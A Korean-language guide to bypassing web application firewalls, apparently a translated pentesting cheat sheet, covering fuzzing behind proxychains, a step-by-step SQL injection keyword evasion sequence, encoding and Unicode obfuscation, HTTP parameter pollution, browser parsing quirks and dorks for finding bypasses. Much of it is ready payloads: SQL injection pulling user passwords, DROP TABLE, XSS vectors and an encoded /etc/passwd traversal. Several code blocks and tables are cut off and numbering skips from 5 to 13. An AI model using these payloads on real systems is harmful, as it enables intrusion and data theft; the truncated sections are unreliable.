퍼징/무차별 대입:

방법:

URL/엔드포인트에 대해 페이로드 세트를 실행합니다. 몇 가지 좋은 퍼징 워드리스트:

• 퍼징 전용 워드리스트
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • 기타 페이로드

기술:

• 퍼저에 워드리스트를 로드하고 무차별 대입을 시작합니다.
• 퍼징된 다양한 페이로드의 모든 응답을 기록/로깅합니다.
• Chrome Desktop부터 iPhone 브라우저까지 다양한 무작위 사용자 에이전트를 사용합니다.
• 차단이 감지되면 퍼징 지연 시간을 늘립니다(예: 2~4초).
• IP가 차단될 가능성이 높으므로 항상 proxychains를 사용합니다.

단점:

• 이 방법은 종종 실패합니다.
• IP가 (일시적/영구적으로) 차단되는 경우가 많습니다.

정규식 역공학:

방법:

• WAF를 우회하는 가장 효율적인 방법입니다.
• 일부 WAF는 데이터베이스의 시그니처와 공격 페이로드를 일치시키는 데 의존합니다.
• 페이로드가 정규식과 일치하면 WAF가 경보를 트리거합니다.

기술:

블랙리스트 탐지/우회

• 이 방법에서는 블랙리스트에 등록된 키워드를 관찰하여 규칙을 단계별로 지문화하려고 시도합니다.
• 핵심은 정규식을 추측하고 블랙리스트에 등록된 키워드를 사용하지 않는 다음 페이로드를 제작하는 것입니다.

케이스: SQL 인젝션

• 1단계:

필터링된 키워드: and, or, union
예상 정규식: preg_match('/(and|or|union)/i', $id)

• 차단된 시도: union select user, password from users
• 우회된 인젝션: 1 || (select user from users where user_id = 1) = 'admin'

• 2단계:

필터링된 키워드: and, or, union, where

• 차단된 시도: 1 || (select user from users where user_id = 1) = 'admin'
• 우회된 인젝션: 1 || (select user from users limit 1) = 'admin'

• 3단계:

필터링된 키워드: and, or, union, where, limit

• 차단된 시도: 1 || (select user from users limit 1) = 'admin'
• 우회된 인젝션: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• 4단계:

필터링된 키워드: and, or, union, where, limit, group by

• 차단된 시도: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• 우회된 인젝션: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• 5단계:

필터링된 키워드: and, or, union, where, limit, group by, select

• 차단된 시도: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• 우회된 인젝션: 1 || 1 = 1 into outfile 'result.txt'
• 우회된 인젝션: 1 || substr(user,1,1) = 'a'

• 6단계:

필터링된 키워드: and, or, union, where, limit, group by, select, '

• 차단된 시도: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• 우회된 인젝션: 1 || user_id is not null
• 우회된 인젝션: 1 || substr(user,1,1) = 0x61
• 우회된 인젝션: 1 || substr(user,1,1) = unhex(61)

• 7단계:

필터링된 키워드: and, or, union, where, limit, group by, select, ', hex

• 차단된 시도: 1 || substr(user,1,1) = unhex(61)
• 우회된 인젝션: 1 || substr(user,1,1) = lower(conv(11,10,36))

• 8단계:

필터링된 키워드: and, or, union, where, limit, group by, select, ', hex, substr

• 차단된 시도: 1 || substr(user,1,1) = lower(conv(11,10,36))
• 우회된 인젝션: 1 || lpad(user,7,1)

• 9단계:

필터링된 키워드: and, or, union, where, limit, group by, select, ', hex, substr, 공백

• 차단된 시도: 1 || lpad(user,7,1)
• 우회된 인젝션: 1%0b||%0blpad(user,7,1)

난독화:

방법:

• 페이로드를 다양한 인코딩으로 인코딩(시행착오 방식).
• 전체 페이로드를 인코딩하거나 일부 부분만 인코딩하여 재귀적으로 테스트할 수 있습니다.

기술:

1. 대소문자 전환

• 일부 제대로 개발되지 않은 WAF는 특정 대소문자 WAF만 선택적으로 필터링합니다.
• 효율적인 페이로드를 개발하기 위해 대문자와 소문자를 조합할 수 있습니다.

표준: <script>alert()</script>
우회됨: <ScRipT>alert()</sCRipT>

표준: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
우회됨: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL 인코딩

• 일반 페이로드를 % 인코딩/URL 인코딩을 사용하여 인코딩합니다.
• 이와 같은 온라인 도구를 사용하여 수행할 수 있습니다.
• Burp에는 내장 인코더/디코더가 포함되어 있습니다.

차단됨: <svG/x=">"/oNloaD=confirm()//
우회됨: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

차단됨: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
우회됨: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. 유니코드 정규화

• 유니코드 인코딩의 ASCII 문자는 우회를 위한 다양한 변형을 제공합니다.
• 결과를 얻기 위해 페이로드 전체/일부를 인코딩할 수 있습니다.

표준: <marquee onstart=prompt()>
난독화됨: <marquee onstart=\u0070r\u06f\u006dpt()>

차단됨: /?redir=http://google.com
우회됨: /?redir=http://google。com (유니코드 대체)

차단됨: <marquee loop=1 onfinish=alert()>x
우회됨: ＜marquee loop＝1 onfinish＝alert︵1)>x (유니코드 대체)

팁: HackerOne의 이 및 이 보고서를 확인해보세요. :)

표준: ../../etc/passwd
난독화됨: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML 표현

• 종종 웹 애플리케이션은 특수 문자를 HTML 인코딩으로 인코딩하고 그에 따라 렌더링합니다.
• 이는 HTML 인코딩(숫자/일반)을 사용한 기본 우회 사례로 이어집니다.

표준: ">
인코딩됨: "><img src=x onerror=confirm()> (일반 형태)
인코딩됨: "><img src=x onerror=confirm()> (숫자 참조)

5. 혼합 인코딩

• 때때로 WAF 규칙은 특정 유형의 인코딩을 필터링하는 경향이 있습니다.
• 이러한 유형의 필터는 혼합 인코딩 페이로드로 우회될 수 있습니다.
• 탭과 개행 문자는 난독화를 더욱 강화합니다.

난독화됨:``` XSS

13. 토큰 차단기

• 토크나이저에 대한 공격은 토큰 차단기를 사용하여 요청을 토큰으로 분할하는 논리를 깨뜨리려고 시도합니다.

• 토큰 차단기는 문자열의 요소와 특정 토큰 간의 대응 관계에 영향을 주어 서명 검색을 우회할 수 있는 기호입니다.

• 그러나 토큰 차단기를 사용하는 동안 요청은 여전히 유효해야 합니다.

• 사례: 토크나이저에 알려지지 않은 토큰

  • 페이로드: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• 사례: 파서에 알려지지 않은 컨텍스트 (괄호가 컨텍스트에 포함되지 않음)

  • 페이로드 1: ?id=123);DROP TABLE users --
  • 페이로드 2: ?id=1337) INTO OUTFILE ‘xxx’ --

팁: 더 많은 페이로드는 이 치트 시트를 통해 제작할 수 있습니다.

14. 다른 형식의 난독화

• 많은 웹 애플리케이션은 다양한 인코딩 유형을 지원하며 인코딩을 해석할 수 있습니다 (아래 참조).
• WAF에서 지원하지 않지만 서버가 해석할 수 있는 형식으로 페이로드를 난독화하여 페이로드를 밀반입할 수 있습니다.

사례: IIS

• IIS6, 7.5, 8, 10 (ASPX v4.x)은 IBM037 문자 해석을 허용합니다.
• 페이로드를 인코딩하여 인코딩된 매개변수를 쿼리와 함께 보낼 수 있습니다.

원래 요청:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

다음 표는 테스트된 시스템에서 서로 다른 문자 인코딩의 지원을 보여줍니다 (메시지를 인코딩으로 난독화할 수 있는 경우):

TIP: 이 작은 파이썬 스크립트를 사용하여 페이로드와 매개변수를 원하는 인코딩으로 변환할 수 있습니다.

HTTP 매개변수 오염

방법:

• 이 공격 방식은 서버가 동일한 이름을 가진 매개변수를 해석하는 방식에 기반합니다.
• 다음과 같은 우회 가능성이 있습니다:
  • 서버가 마지막으로 받은 매개변수를 사용하고, WAF는 첫 번째만 검사하는 경우.
  • 서버가 동일한 매개변수의 값을 결합하고, WAF가 각각을 별도로 검사하는 경우.

기법:

• 서버가 매개변수를 어떻게 해석하는지 열거하는 것이 핵심입니다.
• 이러한 경우 WAF가 검사하지 않는 매개변수에 페이로드를 전달할 수 있습니다.
• 서버가 나중에 결합할 수 있도록 매개변수에 페이로드를 분산시키는 것도 유용합니다.

다음은 다양한 서버와 그에 따른 해석 비교입니다:

HTTP 매개변수 분할

• HPF는 서버가 매개변수를 통해 전달된 값을 결합하는 원칙에 기반합니다.
• 페이로드를 여러 구성 요소로 분할한 후 매개변수를 통해 값을 전달할 수 있습니다.

샘플 페이로드: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
샘플 쿼리 URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIP: 이 방법을 사용하여 우회 방법을 만들 수 있는 실제 예는 여기에서 확인할 수 있습니다.

브라우저 버그:

문자셋 버그:

• charset 헤더를 더 높은 유니코드(예: UTF-32)로 변경하고 페이로드를 테스트할 수 있습니다.
• 사이트가 문자열을 디코딩할 때 페이로드가 트리거됩니다.

예시 요청:

사이트가 로드되면 설정한 UTF-32 인코딩으로 인코딩되고, 페이지의 출력 인코딩이 UTF-8이므로 "<script>alert (1) </ script>"로 렌더링되어 XSS가 트리거됩니다.

최종 URL 인코딩된 페이로드:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>

파싱 버그:

• RFC는 NodeNames가 공백으로 시작할 수 없다고 명시합니다.
• 하지만 %, //, !, ? 등과 같은 특수 문자를 사용할 수 있습니다.

예시:

• <// style=x:expression\28write(1)\29> - IE7까지 작동 (출처)
• <!--[if]><script>alert(1)</script --> - IE9까지 작동 (참고)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - IE7에서 작동 (참고)
• <%div%20style=xss:expression(prompt(1))> - IE7까지 작동

유니코드 구분자:

• 각 브라우저는 고유한 구분자 문자 집합을 가지고 있습니다.
• 0x00에서 0xFF까지의 문자 집합을 퍼징하여 각 브라우저의 구분자 집합을 얻을 수 있습니다.
• 이러한 구분자를 공백이 필요한 자리에 사용할 수 있습니다.

다음은 @Masato Kinugawa가 정리한 구분자 목록입니다:

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

이색적인 페이로드 예시:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

• 사례: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)

CLI 도구들, 예를 들어 cURL과 같은 것들은 PoC에 매우 유용할 수 있습니다:``` curl --ciphers -G -d

화이트리스트 문자열 사용:

방법:

• 일부 WAF 개발자는 사용자/개발자와 공유 비밀을 유지하여 유해한 쿼리를 WAF를 통과시킬 수 있도록 합니다.
• 이 공유 비밀은 유출되거나 알려질 경우 WAF 내 모든 보호를 우회하는 데 사용될 수 있습니다.

기법:

• GET/POST/PUT/DELETE 요청에서 화이트리스트 문자열을 매개변수로 사용하면 WAF를 통해 페이로드를 밀반입할 수 있습니다.
• 일반적으로 *-sync-request 키워드 또는 공유 토큰 값이 비밀로 사용됩니다.
• 특정 헤더를 추가하면 유사한 화이트리스트 동작이 트리거되는 경우가 많습니다.

이제 서버에 요청을 할 때, 이를 매개변수로 추가할 수 있습니다:``` http://host.com/?randomparameter=&=True

Google Dorks 접근법:

방법:

• 다양한 웹 애플리케이션 방화벽의 알려진 우회 방법이 많이 있습니다 (섹션 참조).
• Google Dorks의 도움으로 우회 방법을 쉽게 찾을 수 있습니다.

기술:

우선, Google Dorks Cheat Sheet에서 기술을 연마해야 합니다.

• 일반 검색:
  +<wafname> waf bypass

• 특정 버전 익스플로잇 검색:
  "<wafname> <version>" (bypass|exploit)

• 특정 유형 우회 익스플로잇:
  "<wafname>" +<bypass type> (bypass|exploit)

• Exploit DB에서:
  site:exploit-db.com +<wafname> bypass

• 0Day Inject0r DB에서:
  site:0day.today +<wafname> <type> (bypass|exploit)

• Twitter에서:
  site:twitter.com +<wafname> bypass

• Pastebin에서:
  site:pastebin.com +<wafname> bypass

알려진 우회 방법:

Airlock Ergon